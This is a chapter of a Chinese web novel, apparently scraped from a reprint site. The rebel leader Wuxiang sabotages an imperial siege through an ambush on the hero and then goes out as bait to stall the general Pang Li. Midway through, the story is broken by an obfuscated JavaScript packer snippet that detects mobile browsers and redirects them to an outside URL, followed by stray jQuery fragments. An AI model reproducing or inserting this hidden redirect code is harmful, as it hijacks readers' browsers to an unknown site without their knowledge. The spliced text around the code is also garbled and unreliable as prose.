27.第 27 章

作品:《伪装成王

    成功了吗?


    乌镶月不确定。这个计划很有风险,做的不好,不仅会暴露出加卡托兰好不容易安插进帝国军的暗线,还可能前功尽弃。


    机会只有那么一次,失败了没有再来一次的可能。马挪河城会被攻破,加卡托兰会完蛋,他会成为阶下囚然后死掉。


    可什么都不做,照样会迎来这样的结局,所以他赌了这一把,策划了这样一件事。


    加卡托兰的人被勇者防备,不能攻破逄星洲的防线,大概也伤不了他。


    唯一能够接近勇者,不被他防备的,只有帝国军的人。加卡托兰的暗线还没有爬上那么高的位置,很难直接与勇者同行。再加上,作为暗线,需要的是暗处运作,武力值不足以干掉勇者,即使是偷袭,直接出手也绝不是一个好主意。


    所以乌镶月才刻意去挑衅了庞吏,又借用帝国军的舆论,让勇者在帝国军内部饱受非议,为的就是引出对勇者的不满。不满这种东西,有时候会变成想要追逐的嫉妒,有时候则会变成想要直接消除的恶意。


    见识过勇者的实力之后,意识到这一仗如果再不行动就会被夺取掉所有功劳之后,不满就会更加偏向于消除的恶意。来打这一仗的帝国军,谁不是冲着功勋来的?


    恶意驱使,加上言语催动,会让潜藏的极端想法生长起来。人和有了,还需要地利,破开的加卡托兰城门、被围攻的勇者,再也没有比这更适合偷袭的场合。毕竟乍看之下,这样的场景,即使不需要勇者,帝国军的万人军队也能轻易攻下这里。


    剩下的,他也不敢直接交给敌人的品性,期待敌人会在这个时候对己方攻城大将出手,所以这次围攻勇者的人武器上都浸泡了药剂。


    毒药不会起作用,后方有个巫庚在,毒药没有意义。因此,这种药剂只会产生一点兴奋剂的效果,能够在一瞬间放大心底的欲望。


    这药剂对心志坚定的逄星洲不起作用,也不太会在巫庚防御的范围内,为了上战场,不少士兵会主动服下兴奋药剂。从一开始,这药剂就不是为了勇者。当支援勇者的人前来,这药剂才会发挥最大的效果。


    而此刻……乌镶月望见被从城门赶出来的帝国军,就明白,如他所想,药剂发挥作用了。


    捂着胸口的逄星洲也在往后撤,头盔挡住了他大半神色,不知道是什么表情,但看挥剑的动作,明显不如之前灵活了。虽说如此,那一下也中了胸口,没有当场倒地,反而稳稳撤出来了,这种体力,真是怪物了。


    乌镶月暗叹一声,按了按胸口。


    他中的那一下,可是让他差点连起身的力气都没有了。昨日为了不暴露身份,都是自己脱了长袍去找军医处理的,幸好昨天中箭的人不少,也没人察觉他与无相的关系。但疼痛感却难以消除,直到现在,他说话都会牵扯伤口,痛得他龇牙咧嘴,只能尽量减少说话的字数。


    颜诡看着这短短时间发生的突变,心头涌起了惊涛骇浪。


    他将所知的种种串联起来,大致看出了无相的计划全貌。与以往无相行事时那种莫名其妙、仿佛神明落子的感觉不同,这次无相居然像个普通人一样编排了这个计划。


    这一点让他惊讶,不止是惊讶其居然会以身为诱饵,挑衅帝国军也要达到目的,更是惊讶,这种孤掷一注的做法,居然是那个无相会做的?


    可比起这个,现在该讨论的是别的事。


    “无相大人,即使逄星洲受伤,我们的城门也被强行打开了,而庞吏也不是个能轻易打发的角色。”他严肃了声音,“接下来,该怎么做?”


    如果可以的话,乌镶月很想回答他,鬼知道啊!他就是个小喽啰,懂个偷袭和离间就不错了,哪里知道那么多。


    但没有如果。他只能怀着些许的忐忑,将自己的简陋筹谋说出,“拖。”


    “好……嗯?”似曾相识的一个字,让谋略家先生愣了一下。


    与昨日相似的一幕再次发生。


    充分贯彻兵来将挡水来土掩战术,加卡托兰这一方自从勇者被迫从战场撤出后,开始用各种方法拦住帝国军的前进。他们留下一部分人在城门,另一些冲出去迎战。


    多亏了勇者被偷袭的那一下,还没到城门,帝国军内部就出现了不小的混乱,不少人一边防备着自己人,一边和加卡托兰的人打,精力被分散不说,效率大大下降,原本能打赢的局面,也没法打赢。


    更何况加卡托兰这边根本不是冲着打赢去的,只是为了拖延时间,消耗体力。双方心态截然不同,造成的结果也不同。


    庞吏从未觉得这一仗打得如此恶心。是的,恶心。


    他原以为,讨人厌的勇者离开后,他总能一展风采,将这座久攻不下的小城池拿下了。


    可谁知道加卡托兰那边根本不是来好好打的,城门那块防守严密,盾兵成排不让靠近,想要强行突破吧,还没靠近,远处的枪手和弓箭手,一会偷袭一下,一会放个冷箭,还有大量不要命的人围过来试图砍他马蹄,他一回击就跑,还用炼金药剂想方设法拦路,毫不恋战,竟然真把他们缠住了。


    烦躁得要命的心情,在发现战场上又多出了一个金发骑士的身影时,达到了顶峰。


    “这个时候,勇者大人不好好在后方休息,上来逞能的话,可是很容易死的。”


    庞吏驱马与其擦肩而过,话语里不由得就带上了嘲讽。


    什么勇者,还不是灰溜溜被打回来了。


    逄星洲的面容隐藏在头盔之下,看不清表情,但语气依旧平静,除了略带沙哑,看不出受伤,“职责所在。”


    职责所在?庞吏牙齿磨得咯吱响,明明是要抢他的功劳,受伤了也不安分,非得上来彰显自己的能力。


    “是吗?”他皮笑肉不笑,“那希望你能好、好、尽、责了。”说着,他一刀斩断了袭来的箭矢,腿一踢,神色阴沉地朝着城门再次冲了过去。


    无论如何,他不可能将这一切拱手让出!


    对于陷入颤抖的帝国军一方来说,勇者的到来是好事,但对好不容易才拖住帝国军的加卡托兰来说,这就是天大的坏事了。


    “没想到居然这么快就回来了,恐怕是巫庚的功劳,也是勇者的意志。”


    颜诡脸色难看,望向如今乱糟糟的沙盘,“还是人数不够,如果……不对,现在说这些没有意义,无相大人,现在已经拖不下去了,我们或许该换别的办法。”


    拖不下去了吗?乌镶月垂眸,心底给出了否定的回答。


    “不,还能拖住。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16077870|175778||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “什么?”


    黑袍男人不答,径自从旁边的桌子上拿了一把弓箭,对准了正奋力前进的庞吏。


    “你要做什么?!”谋略家先生瞪大了眼。


    一箭飞出,速度极快,却在抵达终点之前,被一刀斩断。


    庞吏猛然抬头,与站在指挥塔内高高在上的无相对视一眼,眼底燃烧起了凶光。


    “无——相——!”前一日的仇,他可还没忘记!庞吏当即调转方向。


    见状,黑袍男人放下弓箭,拿起了墙上的刀刃,走向门口。


    “这里交给你了。”


    “等等,你要做什么!”


    “去拖住他。”无相的语气平淡,仿佛这是一件再正常不过的理由。


    可哪里有最重要的主帅出去当诱饵的道理!上次已经够让人意外,这次他居然还要再来!


    “你……”


    事到如今,颜诡是真的不明白了,他还以为自己足够了解无相。至少在其他七星之中,除了那位暗杀者,也只有他接触无相的时间算得上最长,结果最近他开始怀疑自己的认知了,无相每次做出的选择,都超乎了他的想象。


    干涩的嗓音中,他不由得发问,“你……为什么这么做?”


    老实说,颜诡不觉得这座城对无相有多重要。不止这座城,他甚至感觉,大部分人都对无相不重要。这个加卡托兰传颂的反叛者、领导者,其实除了自己的势力本身,是不在乎其他东西的。


    七星不重要、城市不重要、人命也不重要。重要的是加卡托兰,而加卡托兰只不过是依附无相而诞生的组织,没有无相,这个组织没有凝聚的根,也没有其意义,被各种方式招揽来的人,从最底层的成员,到最上层的七星,都是可以更换的。


    唯有无相是加卡托兰的核心。


    这不是加卡托兰所有人的想法,但从无相以往的言行举止以及其对加卡托兰的牢牢把控之中,不难看出这点。


    可如今,视自己为最重要的无相,居然做要为了这个城市,为了加卡托兰,让自己当诱饵?这实在让人惊悚,如果只是一次,还可以说是心血来潮,何况那个时候勇者没有上战场,他们未必会输。


    现在不一样。在极有可能输的状况下成为诱饵,与主动送死有什么区别?


    这种不可思议的感觉,简直堪比一条毒蛇忽然变异,牙齿拔光,成了无毒蛇。


    在近乎玄幻的想法里,那条无毒蛇回答道。


    “为了赢。”


    颜诡心里忽然踏实了一点。


    “明白了。”是了,无相也是个为了赢而不择手段的人,为了赢过帝国军这么做也不是全无可能,可是……


    他忍不住又问,“您相信……我?”


    这也是一个奇怪的点,将之后的事交给他,这可不像是无相会说的话。


    这回对方没有回答,只带着刀继续往下走,背影沉寂得一如既往,下方有风吹来,于是高瘦男人的黑袍一角扬起,如云般滚动。


    颜诡看过这一幕很多次,连对方袍角扬起的弧度都熟悉得能勾勒出来,太过常见,他从未觉得有什么值得记住的。


    可这一刻,他好像忽然想记住了。


    “……望您武运昌隆,无相大人。”